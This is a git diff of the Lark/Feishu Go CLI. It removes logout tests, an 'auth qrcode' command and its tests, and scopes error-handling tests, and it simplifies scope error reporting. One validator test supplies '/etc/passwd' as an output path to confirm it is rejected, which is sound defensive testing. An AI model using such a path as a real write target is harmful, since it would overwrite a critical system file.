-	t.Setenv("LARKSUITE_CLI_DATA_DIR", t.TempDir())
-	t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
-	writeLogoutConfig(t, []core.AppUser{{UserOpenId: "ou_user", UserName: "tester"}})
-	if err := larkauth.SetStoredToken(&larkauth.StoredUAToken{
-		AppId:      "test-app",
-		UserOpenId: "ou_user",
-	}); err != nil {
-		t.Fatalf("SetStoredToken() error = %v", err)
-	}
-
-	f, stdout, stderr, _ := cmdutil.TestFactory(t, nil)
-	if err := authLogoutRun(&LogoutOptions{Factory: f, JSON: true}); err != nil {
-		t.Fatalf("authLogoutRun() error = %v", err)
-	}
-
-	var payload map[string]any
-	if err := json.Unmarshal(stdout.Bytes(), &payload); err != nil {
-		t.Fatalf("stdout must be valid JSON: %v\nstdout=%s", err, stdout.String())
-	}
-	if payload["ok"] != true {
-		t.Errorf("stdout.ok = %v, want true", payload["ok"])
-	}
-	if payload["loggedOut"] != true {
-		t.Errorf("stdout.loggedOut = %v, want true", payload["loggedOut"])
-	}
-	if _, hasReason := payload["reason"]; hasReason {
-		t.Errorf("stdout.reason must be absent on success, got %v", payload["reason"])
-	}
-	if stderr.Len() != 0 {
-		t.Errorf("stderr must stay empty in JSON mode, got:\n%s", stderr.String())
-	}
-}
-
-func TestAuthLogoutRun_DefaultMode_KeepsTextOutput(t *testing.T) {
-	keyring.MockInit()
-	t.Setenv("HOME", t.TempDir())
-	t.Setenv("LARKSUITE_CLI_DATA_DIR", t.TempDir())
-	t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
-	writeLogoutConfig(t, []core.AppUser{{UserOpenId: "ou_user", UserName: "tester"}})
-	if err := larkauth.SetStoredToken(&larkauth.StoredUAToken{
-		AppId:      "test-app",
-		UserOpenId: "ou_user",
-	}); err != nil {
-		t.Fatalf("SetStoredToken() error = %v", err)
-	}
-
-	f, stdout, stderr, _ := cmdutil.TestFactory(t, nil)
-	if err := authLogoutRun(&LogoutOptions{Factory: f}); err != nil {
-		t.Fatalf("authLogoutRun() error = %v", err)
-	}
-
-	if stdout.Len() != 0 {
-		t.Errorf("stdout must stay empty in default mode, got:\n%s", stdout.String())
-	}
-	if !strings.Contains(stderr.String(), "Logged out") {
-		t.Errorf("stderr = %q, want success text", stderr.String())
-	}
-}
-
-func TestAuthLogoutRun_RevokesTokenAndClearsLocalState(t *testing.T) {
-	keyring.MockInit()
-	setupLoginConfigDir(t)
-	t.Setenv("HOME", t.TempDir())
-
-	multi := &core.MultiAppConfig{
-		CurrentApp: "default",
-		Apps: []core.AppConfig{
-			{
-				Name:      "default",
-				AppId:     "cli_test",
-				AppSecret: core.PlainSecret("secret"),
-				Brand:     core.BrandFeishu,
-				Users:     []core.AppUser{{UserOpenId: "ou_user", UserName: "tester"}},
-			},
-		},
-	}
-	if err := core.SaveMultiAppConfig(multi); err != nil {
-		t.Fatalf("SaveMultiAppConfig() error = %v", err)
-	}
-	if err := larkauth.SetStoredToken(&larkauth.StoredUAToken{
-		AppId:        "cli_test",
-		UserOpenId:   "ou_user",
-		AccessToken:  "user-access-token",
-		RefreshToken: "user-refresh-token",
-	}); err != nil {
-		t.Fatalf("SetStoredToken() error = %v", err)
-	}
-
-	f, _, stderr, reg := cmdutil.TestFactory(t, &core.CliConfig{
-		ProfileName: "default",
-		AppID:       "cli_test",
-		AppSecret:   "secret",
-		Brand:       core.BrandFeishu,
-	})
-
-	reg.Register(&httpmock.Stub{
-		Method: "POST",
-		URL:    larkauth.PathOAuthRevoke,
-		Body:   map[string]interface{}{"code": 0},
-		BodyFilter: func(body []byte) bool {
-			values, err := url.ParseQuery(string(body))
-			if err != nil {
-				return false
-			}
-			return values.Get("client_id") == "cli_test" &&
-				values.Get("client_secret") == "secret" &&
-				values.Get("token") == "user-refresh-token" &&
-				values.Get("token_type_hint") == "refresh_token"
-		},
-	})
-
-	if err := authLogoutRun(&LogoutOptions{Factory: f}); err != nil {
-		t.Fatalf("authLogoutRun() error = %v", err)
-	}
-
-	if got := stderr.String(); !strings.Contains(got, "Logged out") {
-		t.Fatalf("stderr = %q, want Logged out", got)
-	}
-	if got := larkauth.GetStoredToken("cli_test", "ou_user"); got != nil {
-		t.Fatalf("expected stored token removed, got %#v", got)
-	}
-	saved, err := core.LoadMultiAppConfig()
-	if err != nil {
-		t.Fatalf("LoadMultiAppConfig() error = %v", err)
-	}
-	if len(saved.Apps) != 1 || len(saved.Apps[0].Users) != 0 {
-		t.Fatalf("expected users cleared, got %#v", saved.Apps)
-	}
-}
-
-func TestAuthLogoutRun_FallsBackToAccessTokenWhenRefreshTokenMissing(t *testing.T) {
-	keyring.MockInit()
-	setupLoginConfigDir(t)
-	t.Setenv("HOME", t.TempDir())
-
-	multi := &core.MultiAppConfig{
-		CurrentApp: "default",
-		Apps: []core.AppConfig{
-			{
-				Name:      "default",
-				AppId:     "cli_test",
-				AppSecret: core.PlainSecret("secret"),
-				Brand:     core.BrandFeishu,
-				Users:     []core.AppUser{{UserOpenId: "ou_user", UserName: "tester"}},
-			},
-		},
-	}
-	if err := core.SaveMultiAppConfig(multi); err != nil {
-		t.Fatalf("SaveMultiAppConfig() error = %v", err)
-	}
-	if err := larkauth.SetStoredToken(&larkauth.StoredUAToken{
-		AppId:       "cli_test",
-		UserOpenId:  "ou_user",
-		AccessToken: "user-access-token",
-	}); err != nil {
-		t.Fatalf("SetStoredToken() error = %v", err)
-	}
-
-	f, _, stderr, reg := cmdutil.TestFactory(t, &core.CliConfig{
-		ProfileName: "default",
-		AppID:       "cli_test",
-		AppSecret:   "secret",
-		Brand:       core.BrandFeishu,
-	})
-
-	reg.Register(&httpmock.Stub{
-		Method: "POST",
-		URL:    larkauth.PathOAuthRevoke,
-		Body:   map[string]interface{}{"code": 0},
-		BodyFilter: func(body []byte) bool {
-			values, err := url.ParseQuery(string(body))
-			if err != nil {
-				return false
-			}
-			return values.Get("client_id") == "cli_test" &&
-				values.Get("client_secret") == "secret" &&
-				values.Get("token") == "user-access-token" &&
-				values.Get("token_type_hint") == "access_token"
-		},
-	})
-
-	if err := authLogoutRun(&LogoutOptions{Factory: f}); err != nil {
-		t.Fatalf("authLogoutRun() error = %v", err)
-	}
-
-	if got := stderr.String(); !strings.Contains(got, "Logged out") {
-		t.Fatalf("stderr = %q, want Logged out", got)
-	}
-	if got := larkauth.GetStoredToken("cli_test", "ou_user"); got != nil {
-		t.Fatalf("expected stored token removed, got %#v", got)
-	}
-	saved, err := core.LoadMultiAppConfig()
-	if err != nil {
-		t.Fatalf("LoadMultiAppConfig() error = %v", err)
-	}
-	if len(saved.Apps) != 1 || len(saved.Apps[0].Users) != 0 {
-		t.Fatalf("expected users cleared, got %#v", saved.Apps)
-	}
-}
-
-func TestAuthLogoutRun_RevokeFailureStillClearsLocalState(t *testing.T) {
-	keyring.MockInit()
-	setupLoginConfigDir(t)
-	t.Setenv("HOME", t.TempDir())
-
-	multi := &core.MultiAppConfig{
-		CurrentApp: "default",
-		Apps: []core.AppConfig{
-			{
-				Name:      "default",
-				AppId:     "cli_test",
-				AppSecret: core.PlainSecret("secret"),
-				Brand:     core.BrandFeishu,
-				Users:     []core.AppUser{{UserOpenId: "ou_user", UserName: "tester"}},
-			},
-		},
-	}
-	if err := core.SaveMultiAppConfig(multi); err != nil {
-		t.Fatalf("SaveMultiAppConfig() error = %v", err)
-	}
-	if err := larkauth.SetStoredToken(&larkauth.StoredUAToken{
-		AppId:        "cli_test",
-		UserOpenId:   "ou_user",
-		AccessToken:  "user-access-token",
-		RefreshToken: "user-refresh-token",
-	}); err != nil {
-		t.Fatalf("SetStoredToken() error = %v", err)
-	}
-
-	f, _, stderr, reg := cmdutil.TestFactory(t, &core.CliConfig{
-		ProfileName: "default",
-		AppID:       "cli_test",
-		AppSecret:   "secret",
-		Brand:       core.BrandFeishu,
-	})
-
-	reg.Register(&httpmock.Stub{
-		Method: "POST",
-		URL:    larkauth.PathOAuthRevoke,
-		Status: 500,
-		Body:   map[string]interface{}{"error": "server_error"},
-	})
-
-	if err := authLogoutRun(&LogoutOptions{Factory: f}); err != nil {
-		t.Fatalf("authLogoutRun() error = %v", err)
-	}
-
-	gotErr := stderr.String()
-	if strings.Contains(gotErr, "failed to revoke token for ou_user") {
-		t.Fatalf("stderr = %q, want no revoke warning", gotErr)
-	}
-	if !strings.Contains(gotErr, "Logged out") {
-		t.Fatalf("stderr = %q, want Logged out", gotErr)
-	}
-	if got := larkauth.GetStoredToken("cli_test", "ou_user"); got != nil {
-		t.Fatalf("expected stored token removed, got %#v", got)
-	}
-	saved, err := core.LoadMultiAppConfig()
-	if err != nil {
-		t.Fatalf("LoadMultiAppConfig() error = %v", err)
-	}
-	if len(saved.Apps) != 1 || len(saved.Apps[0].Users) != 0 {
-		t.Fatalf("expected users cleared, got %#v", saved.Apps)
-	}
-}
--- a/cmd/auth/qrcode.go
+++ b/cmd/auth/qrcode.go
@@ -1,142 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package auth
-
-import (
-	"context"
-	"encoding/json"
-	"fmt"
-	"io"
-	"os"
-
-	"github.com/skip2/go-qrcode"
-	"github.com/spf13/cobra"
-
-	"github.com/larksuite/cli/errs"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/validate"
-	"github.com/larksuite/cli/internal/vfs"
-)
-
-// QRCodeOptions holds inputs for auth qrcode command.
-type QRCodeOptions struct {
-	Factory *cmdutil.Factory
-	Ctx     context.Context
-	URL     string
-	Size    int
-	ASCII   bool
-	Output  string
-}
-
-// NewCmdAuthQRCode creates the auth qrcode subcommand.
-func NewCmdAuthQRCode(f *cmdutil.Factory, runF func(*QRCodeOptions) error) *cobra.Command {
-	opts := &QRCodeOptions{Factory: f, Size: 256}
-
-	cmd := &cobra.Command{
-		Use:   "qrcode <url>",
-		Short: "Generate QR code for verification URL",
-		Long: `Generate a QR code image or ASCII representation for a verification URL.
-
-This command is designed for AI agents to generate QR codes for OAuth authorization URLs.
-
-For PNG output, the --output flag is required to specify the output file path (must be a relative path within the current directory).
-For ASCII output, the result is printed to stdout with fixed size.`,
-		Args: cobra.ExactArgs(1),
-		RunE: func(cmd *cobra.Command, args []string) error {
-			opts.URL = args[0]
-			opts.Ctx = cmd.Context()
-			if runF != nil {
-				return runF(opts)
-			}
-			return runQRCode(opts)
-		},
-	}
-
-	cmd.Flags().IntVar(&opts.Size, "size", 256, "Size of the QR code image in pixels (default: 256, for PNG mode only)")
-	cmd.Flags().BoolVar(&opts.ASCII, "ascii", false, "Output ASCII QR code to stdout")
-	cmd.Flags().StringVarP(&opts.Output, "output", "o", "", "Output file path for PNG image (relative path within current directory, required for non-ASCII mode)")
-
-	return cmd
-}
-
-// runQRCode executes the auth qrcode command.
-func runQRCode(opts *QRCodeOptions) error {
-	if opts.URL == "" {
-		return errs.NewValidationError(errs.SubtypeInvalidArgument, "url is required").WithParam("--url")
-	}
-
-	if opts.ASCII {
-		var out io.Writer = os.Stdout
-		if opts.Factory != nil {
-			out = opts.Factory.IOStreams.Out
-		}
-		return generateASCIIQRCode(opts.URL, out)
-	}
-
-	if opts.Output == "" {
-		return errs.NewValidationError(errs.SubtypeInvalidArgument, "output file path is required for PNG mode. Use --output or -o flag to specify the output file path.").WithParam("--output")
-	}
-
-	if opts.Size < 32 {
-		return errs.NewValidationError(errs.SubtypeInvalidArgument, "size must be at least 32, got %d", opts.Size).WithParam("--size")
-	}
-
-	if opts.Size > 1024 {
-		return errs.NewValidationError(errs.SubtypeInvalidArgument, "size must be at most 1024, got %d", opts.Size).WithParam("--size")
-	}
-
-	safePath, err := validate.SafeOutputPath(opts.Output)
-	if err != nil {
-		return errs.NewValidationError(errs.SubtypeInvalidArgument, "unsafe output path: %s", err).WithParam("--output").WithCause(err)
-	}
-
-	if err := generateImageQRCode(opts.URL, opts.Size, safePath); err != nil {
-		return err
-	}
-
-	result := map[string]interface{}{
-		"ok":        true,
-		"file_path": safePath,
-		"hint":      "You MUST include the QR image in your response. Generating the file alone is NOT enough—use image tags, inline images, or file attachments to display it.",
-	}
-
-	var out io.Writer = os.Stdout
-	if opts.Factory != nil {
-		out = opts.Factory.IOStreams.Out
-	}
-	encoder := json.NewEncoder(out)
-	encoder.SetEscapeHTML(false)
-	if err := encoder.Encode(result); err != nil {
-		return errs.NewInternalError(errs.SubtypeSDKError, "failed to write output: %v", err).WithCause(err)
-	}
-
-	return nil
-}
-
-// generateImageQRCode encodes the URL as a PNG QR code and writes it to outputPath.
-func generateImageQRCode(url string, size int, outputPath string) error {
-	png, err := qrcode.Encode(url, qrcode.Medium, size)
-	if err != nil {
-		return errs.NewInternalError(errs.SubtypeSDKError, "failed to encode QR code: %v", err).WithCause(err)
-	}
-
-	err = vfs.WriteFile(outputPath, png, 0644)
-	if err != nil {
-		return errs.NewInternalError(errs.SubtypeSDKError, "failed to write QR code to %s: %v", outputPath, err).WithCause(err)
-	}
-
-	return nil
-}
-
-// generateASCIIQRCode encodes the URL as an ASCII QR code and prints it to stdout.
-func generateASCIIQRCode(url string, w io.Writer) error {
-	q, err := qrcode.New(url, qrcode.Medium)
-	if err != nil {
-		return errs.NewInternalError(errs.SubtypeSDKError, "failed to create QR code: %v", err).WithCause(err)
-	}
-
-	fmt.Fprint(w, q.ToSmallString(false))
-
-	return nil
-}
--- a/cmd/auth/qrcode_test.go
+++ b/cmd/auth/qrcode_test.go
@@ -1,324 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package auth
-
-import (
-	"encoding/json"
-	"io"
-	"os"
-	"path/filepath"
-	"strings"
-	"testing"
-
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/output"
-)
-
-func TestNewCmdAuthQRCode_FlagParsing(t *testing.T) {
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
-		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
-	})
-
-	var gotOpts *QRCodeOptions
-	cmd := NewCmdAuthQRCode(f, func(opts *QRCodeOptions) error {
-		gotOpts = opts
-		return nil
-	})
-	cmd.SetArgs([]string{"https://example.com", "--output", "qr.png", "--size", "128"})
-	if err := cmd.Execute(); err != nil {
-		t.Fatalf("unexpected error: %v", err)
-	}
-	if gotOpts.URL != "https://example.com" {
-		t.Errorf("URL = %q, want %q", gotOpts.URL, "https://example.com")
-	}
-	if gotOpts.Size != 128 {
-		t.Errorf("Size = %d, want %d", gotOpts.Size, 128)
-	}
-	if gotOpts.Output != "qr.png" {
-		t.Errorf("Output = %q, want %q", gotOpts.Output, "qr.png")
-	}
-	if gotOpts.ASCII {
-		t.Error("ASCII should be false by default")
-	}
-}
-
-func TestNewCmdAuthQRCode_ASCIIFlag(t *testing.T) {
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
-		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
-	})
-
-	var gotOpts *QRCodeOptions
-	cmd := NewCmdAuthQRCode(f, func(opts *QRCodeOptions) error {
-		gotOpts = opts
-		return nil
-	})
-	cmd.SetArgs([]string{"https://example.com", "--ascii"})
-	if err := cmd.Execute(); err != nil {
-		t.Fatalf("unexpected error: %v", err)
-	}
-	if !gotOpts.ASCII {
-		t.Error("ASCII should be true when --ascii is passed")
-	}
-}
-
-func TestNewCmdAuthQRCode_DefaultSize(t *testing.T) {
-	f, _, _, _ := cmdutil.TestFactory(t, nil)
-
-	var gotOpts *QRCodeOptions
-	cmd := NewCmdAuthQRCode(f, func(opts *QRCodeOptions) error {
-		gotOpts = opts
-		return nil
-	})
-	cmd.SetArgs([]string{"https://example.com", "--ascii"})
-	if err := cmd.Execute(); err != nil {
-		t.Fatalf("unexpected error: %v", err)
-	}
-	if gotOpts.Size != 256 {
-		t.Errorf("default Size = %d, want 256", gotOpts.Size)
-	}
-}
-
-func TestNewCmdAuthQRCode_ExactOneArg(t *testing.T) {
-	f, _, _, _ := cmdutil.TestFactory(t, nil)
-
-	cmd := NewCmdAuthQRCode(f, nil)
-	cmd.SetErr(io.Discard)
-	cmd.SetArgs([]string{})
-	if err := cmd.Execute(); err == nil {
-		t.Fatal("expected error when no URL argument provided")
-	}
-}
-
-func TestNewCmdAuthQRCode_RunE_PNGEndToEnd(t *testing.T) {
-	f, stdout, _, _ := cmdutil.TestFactory(t, nil)
-	tmpDir := t.TempDir()
-	oldWd, _ := os.Getwd()
-	if err := os.Chdir(tmpDir); err != nil {
-		t.Fatalf("chdir: %v", err)
-	}
-	t.Cleanup(func() { os.Chdir(oldWd) })
-
-	cmd := NewCmdAuthQRCode(f, nil)
-	cmd.SetArgs([]string{"https://example.com", "--output", "qr.png"})
-	if err := cmd.Execute(); err != nil {
-		t.Fatalf("unexpected error: %v", err)
-	}
-
-	data, err := os.ReadFile("qr.png")
-	if err != nil {
-		t.Fatalf("output file not created: %v", err)
-	}
-	if string(data[:4]) != "\x89PNG" {
-		t.Errorf("output does not start with PNG magic bytes, got %x", data[:4])
-	}
-
-	var result map[string]interface{}
-	if err := json.Unmarshal(stdout.Bytes(), &result); err != nil {
-		t.Fatalf("stdout is not valid JSON: %v, got: %s", err, stdout.String())
-	}
-	if result["ok"] != true {
-		t.Errorf("ok = %v, want true", result["ok"])
-	}
-	hint, _ := result["hint"].(string)
-	if hint == "" {
-		t.Error("hint is empty")
-	}
-	if !strings.Contains(hint, "MUST include") {
-		t.Errorf("hint missing 'MUST include', got: %s", hint)
-	}
-	if !strings.Contains(hint, "NOT enough") {
-		t.Errorf("hint missing 'NOT enough', got: %s", hint)
-	}
-}
-
-func TestNewCmdAuthQRCode_RunE_MissingOutput(t *testing.T) {
-	f, _, _, _ := cmdutil.TestFactory(t, nil)
-
-	cmd := NewCmdAuthQRCode(f, nil)
-	cmd.SetErr(io.Discard)
-	cmd.SetArgs([]string{"https://example.com"})
-	if err := cmd.Execute(); err == nil {
-		t.Fatal("expected error when --output is missing in PNG mode")
-	}
-}
-
-func TestNewCmdAuthQRCode_HelpText(t *testing.T) {
-	f, stdout, _, _ := cmdutil.TestFactory(t, nil)
-
-	cmd := NewCmdAuthQRCode(f, nil)
-	cmd.SetOut(stdout)
-	cmd.SetErr(io.Discard)
-	cmd.SetArgs([]string{"--help"})
-	if err := cmd.Execute(); err != nil {
-		t.Fatalf("unexpected error: %v", err)
-	}
-	got := stdout.String()
-	for _, want := range []string{
-		"qrcode <url>",
-		"QR code",
-		"--output",
-		"--ascii",
-		"relative path",
-	} {
-		if !strings.Contains(got, want) {
-			t.Errorf("help missing %q", want)
-		}
-	}
-}
-
-func TestRunQRCode_MissingURL(t *testing.T) {
-	err := runQRCode(&QRCodeOptions{URL: ""})
-	if gotCode := output.ExitCodeOf(err); gotCode != output.ExitValidation {
-		t.Errorf("exit code = %d, want %d", gotCode, output.ExitValidation)
-	}
-}
-
-func TestRunQRCode_MissingOutput(t *testing.T) {
-	err := runQRCode(&QRCodeOptions{URL: "https://example.com", Size: 256})
-	if gotCode := output.ExitCodeOf(err); gotCode != output.ExitValidation {
-		t.Errorf("exit code = %d, want %d", gotCode, output.ExitValidation)
-	}
-}
-
-func TestRunQRCode_InvalidSize(t *testing.T) {
-	err := runQRCode(&QRCodeOptions{
-		URL:    "https://example.com",
-		Size:   16,
-		Output: "qr.png",
-	})
-	if gotCode := output.ExitCodeOf(err); gotCode != output.ExitValidation {
-		t.Errorf("exit code = %d, want %d", gotCode, output.ExitValidation)
-	}
-}
-
-func TestRunQRCode_SizeTooLarge(t *testing.T) {
-	err := runQRCode(&QRCodeOptions{
-		URL:    "https://example.com",
-		Size:   2048,
-		Output: "qr.png",
-	})
-	if gotCode := output.ExitCodeOf(err); gotCode != output.ExitValidation {
-		t.Errorf("exit code = %d, want %d", gotCode, output.ExitValidation)
-	}
-}
-
-func TestRunQRCode_UnsafeOutputPath(t *testing.T) {
-	err := runQRCode(&QRCodeOptions{
-		URL:    "https://example.com",
-		Size:   256,
-		Output: "/etc/passwd",
-	})
-	if gotCode := output.ExitCodeOf(err); gotCode != output.ExitValidation {
-		t.Errorf("exit code = %d, want %d", gotCode, output.ExitValidation)
-	}
-}
-
-func TestRunQRCode_PNGWritesFile(t *testing.T) {
-	f, stdout, _, _ := cmdutil.TestFactory(t, nil)
-	tmpDir := t.TempDir()
-	oldWd, _ := os.Getwd()
-	if err := os.Chdir(tmpDir); err != nil {
-		t.Fatalf("chdir: %v", err)
-	}
-	t.Cleanup(func() { os.Chdir(oldWd) })
-
-	err := runQRCode(&QRCodeOptions{
-		URL:     "https://example.com",
-		Size:    256,
-		Output:  "qr.png",
-		Factory: f,
-	})
-	if err != nil {
-		t.Fatalf("unexpected error: %v", err)
-	}
-
-	info, err := os.Stat("qr.png")
-	if err != nil {
-		t.Fatalf("output file not created: %v", err)
-	}
-	if info.Size() == 0 {
-		t.Error("output file is empty")
-	}
-
-	var result map[string]interface{}
-	if jsonErr := json.Unmarshal(stdout.Bytes(), &result); jsonErr != nil {
-		t.Fatalf("stdout is not valid JSON: %v, got: %s", jsonErr, stdout.String())
-	}
-	if result["ok"] != true {
-		t.Errorf("ok = %v, want true", result["ok"])
-	}
-}
-
-func TestRunQRCode_ASCIIOutputsToStdout(t *testing.T) {
-	f, stdout, _, _ := cmdutil.TestFactory(t, nil)
-
-	err := runQRCode(&QRCodeOptions{
-		URL:     "https://example.com",
-		ASCII:   true,
-		Factory: f,
-	})
-	if err != nil {
-		t.Fatalf("unexpected error: %v", err)
-	}
-
-	if stdout.Len() == 0 {
-		t.Error("ASCII QR code produced no output")
-	}
-}
-
-func TestGenerateImageQRCode_Success(t *testing.T) {
-	tmpDir := t.TempDir()
-	outputPath := filepath.Join(tmpDir, "test-qr.png")
-
-	if err := generateImageQRCode("https://example.com", 256, outputPath); err != nil {
-		t.Fatalf("unexpected error: %v", err)
-	}
-
-	data, err := os.ReadFile(outputPath)
-	if err != nil {
-		t.Fatalf("failed to read output file: %v", err)
-	}
-	if len(data) == 0 {
-		t.Error("output file is empty")
-	}
-	if len(data) < 8 {
-		t.Error("output too small to be a valid PNG")
-	}
-	if string(data[:4]) != "\x89PNG" {
-		t.Errorf("output does not start with PNG magic bytes, got %x", data[:4])
-	}
-}
-
-func TestGenerateImageQRCode_WriteError(t *testing.T) {
-	err := generateImageQRCode("https://example.com", 256, "/nonexistent/deep/nested/dir/qr.png")
-	if err == nil {
-		t.Fatal("expected error writing to nonexistent directory")
-	}
-	if gotCode := output.ExitCodeOf(err); gotCode != output.ExitInternal {
-		t.Errorf("exit code = %d, want %d", gotCode, output.ExitInternal)
-	}
-}
-
-func TestGenerateASCIIQRCode_Success(t *testing.T) {
-	var buf strings.Builder
-	err := generateASCIIQRCode("https://example.com", &buf)
-	if err != nil {
-		t.Fatalf("unexpected error: %v", err)
-	}
-	if buf.Len() == 0 {
-		t.Error("ASCII QR code produced no output")
-	}
-}
-
-func TestGenerateASCIIQRCode_EmptyString(t *testing.T) {
-	var buf strings.Builder
-	err := generateASCIIQRCode("", &buf)
-	if err == nil {
-		t.Fatal("expected error for empty string")
-	}
-	if err == nil {
-		t.Fatal("expected error, got nil")
-	}
-}
--- a/cmd/auth/scopes.go
+++ b/cmd/auth/scopes.go
@@ -9,7 +9,6 @@ import (

 	"github.com/spf13/cobra"

-	"github.com/larksuite/cli/errs"
 	"github.com/larksuite/cli/internal/cmdutil"
 	"github.com/larksuite/cli/internal/output"
 )
@@ -19,7 +18,6 @@ type ScopesOptions struct {
 	Factory *cmdutil.Factory
 	Ctx     context.Context
 	Format  string
-	JSON    bool
 }

 // NewCmdAuthScopes creates the auth scopes subcommand.
@@ -31,9 +29,6 @@ func NewCmdAuthScopes(f *cmdutil.Factory, runF func(*ScopesOptions) error) *cobr
 		Short: "Query scopes enabled for the app",
 		RunE: func(cmd *cobra.Command, args []string) error {
 			opts.Ctx = cmd.Context()
-			if opts.JSON {
-				opts.Format = "json"
-			}
 			if runF != nil {
 				return runF(opts)
 			}
@@ -42,7 +37,6 @@ func NewCmdAuthScopes(f *cmdutil.Factory, runF func(*ScopesOptions) error) *cobr
 	}

 	cmd.Flags().StringVar(&opts.Format, "format", "json", "output format: json (default) | pretty")
-	cmd.Flags().BoolVar(&opts.JSON, "json", false, "structured JSON output")
 	cmdutil.SetRisk(cmd, "read")

 	return cmd
@@ -56,23 +50,11 @@ func authScopesRun(opts *ScopesOptions) error {
 		return err
 	}
 	fmt.Fprintf(f.IOStreams.ErrOut, "Querying app scopes...\n\n")
-	appInfo, err := getAppInfoFn(opts.Ctx, f, config.AppID)
+	appInfo, err := getAppInfo(opts.Ctx, f, config.AppID)
 	if err != nil {
-		// Discriminate by error type so transport / parse failures are not
-		// reclassified as PermissionError(MissingScope) — re-auth does not
-		// fix network / 5xx / JSON parse errors and misclassifying them
-		// here would mislead agents into re-auth loops.
-		//   - typed errors pass through unchanged
-		//   - bare errors become InternalError(SubtypeSDKError) with Cause
-		//     preserved so callers (errors.Is) can still see the underlying
-		//     transport/parse failure.
-		// Genuine permission failures are surfaced from appInfo *content*,
-		// not from this transport-level error path.
-		if errs.IsTyped(err) {
-			return err
-		}
-		return errs.NewInternalError(errs.SubtypeSDKError,
-			"failed to get app scope info: %v", err).WithCause(err)
+		return output.ErrWithHint(output.ExitAPI, "permission",
+			fmt.Sprintf("failed to get app scope info: %v", err),
+			"ensure the app has enabled the application:application:self_manage scope.")
 	}
 	if opts.Format == "pretty" {
 		fmt.Fprintf(f.IOStreams.ErrOut, "App ID: %s\n", config.AppID)
--- a/cmd/auth/scopes_test.go
+++ b/cmd/auth/scopes_test.go
@@ -1,121 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package auth
-
-import (
-	"context"
-	"errors"
-	"fmt"
-	"testing"
-
-	"github.com/larksuite/cli/errs"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/core"
-)
-
-// stubGetAppInfoErr swaps getAppInfoFn for the duration of t so authScopesRun
-// observes a fixed error from the dependency. t.Cleanup restores the prior
-// value so tests cannot leak through the package-level seam.
-func stubGetAppInfoErr(t *testing.T, errToReturn error) {
-	t.Helper()
-	prev := getAppInfoFn
-	getAppInfoFn = func(ctx context.Context, f *cmdutil.Factory, appId string) (*appInfo, error) {
-		return nil, errToReturn
-	}
-	t.Cleanup(func() { getAppInfoFn = prev })
-}
-
-// scopesTestFactory builds a Factory + ScopesOptions pair sufficient to drive
-// authScopesRun. Config has a non-empty AppID so we get past the config gate
-// and reach the getAppInfoFn call.
-func scopesTestFactory(t *testing.T) *ScopesOptions {
-	t.Helper()
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
-		AppID:     "test-app",
-		AppSecret: "test-secret",
-		Brand:     core.BrandFeishu,
-	})
-	return &ScopesOptions{
-		Factory: f,
-		Ctx:     context.Background(),
-		Format:  "json",
-	}
-}
-
-// TestAuthScopesRun_NetworkErrorPassedThrough pins that a typed NetworkError
-// surfaced by the dependency is not re-classified as PermissionError —
-// re-auth does not fix DNS / transport failures and blanket-wrapping them
-// would mislead agents into infinite re-auth loops.
-func TestAuthScopesRun_NetworkErrorPassedThrough(t *testing.T) {
-	netErr := errs.NewNetworkError(errs.SubtypeNetworkDNS, "DNS lookup failed")
-	stubGetAppInfoErr(t, netErr)
-
-	err := authScopesRun(scopesTestFactory(t))
-	if err == nil {
-		t.Fatal("expected error, got nil")
-	}
-
-	var permErr *errs.PermissionError
-	if errors.As(err, &permErr) {
-		t.Errorf("network failure must not be classified as PermissionError; got %v", permErr)
-	}
-	var gotNet *errs.NetworkError
-	if !errors.As(err, &gotNet) {
-		t.Fatalf("network failure not preserved through authScopesRun; got %T: %v", err, err)
-	}
-	if gotNet != netErr {
-		t.Errorf("typed network error should pass through identity-stable; got %p, want %p", gotNet, netErr)
-	}
-}
-
-// TestAuthScopesRun_PermissionErrorPassedThrough pins that typed permission
-// failures from the dependency also pass through — IsTyped() must not single
-// out one category.
-func TestAuthScopesRun_PermissionErrorPassedThrough(t *testing.T) {
-	permErr := errs.NewPermissionError(errs.SubtypeMissingScope, "scope X missing").
-		WithMissingScopes("im:message")
-	stubGetAppInfoErr(t, permErr)
-
-	err := authScopesRun(scopesTestFactory(t))
-	if err == nil {
-		t.Fatal("expected error, got nil")
-	}
-	var got *errs.PermissionError
-	if !errors.As(err, &got) {
-		t.Fatalf("expected *PermissionError pass-through, got %T: %v", err, err)
-	}
-	if got != permErr {
-		t.Errorf("typed permission error should pass through identity-stable; got %p, want %p", got, permErr)
-	}
-}
-
-// TestAuthScopesRun_BareErrorWrappedAsInternal pins the unclassified branch:
-// a bare error (e.g. json.Unmarshal failure inside getAppInfo) surfaces as
-// *InternalError{SubtypeSDKError} with the original error preserved on
-// Cause so errors.Is still walks to it.
-func TestAuthScopesRun_BareErrorWrappedAsInternal(t *testing.T) {
-	bareErr := fmt.Errorf("failed to parse response: unexpected EOF")
-	stubGetAppInfoErr(t, bareErr)
-
-	err := authScopesRun(scopesTestFactory(t))
-	if err == nil {
-		t.Fatal("expected error, got nil")
-	}
-
-	var permErr *errs.PermissionError
-	if errors.As(err, &permErr) {
-		t.Errorf("bare getAppInfo error must not be classified as PermissionError; got %v", permErr)
-	}
-
-	var intErr *errs.InternalError
-	if !errors.As(err, &intErr) {
-		t.Fatalf("expected *InternalError, got %T: %v", err, err)
-	}
-	if intErr.Subtype != errs.SubtypeSDKError {
-		t.Errorf("InternalError.Subtype = %q, want %q", intErr.Subtype, errs.SubtypeSDKError)
-	}
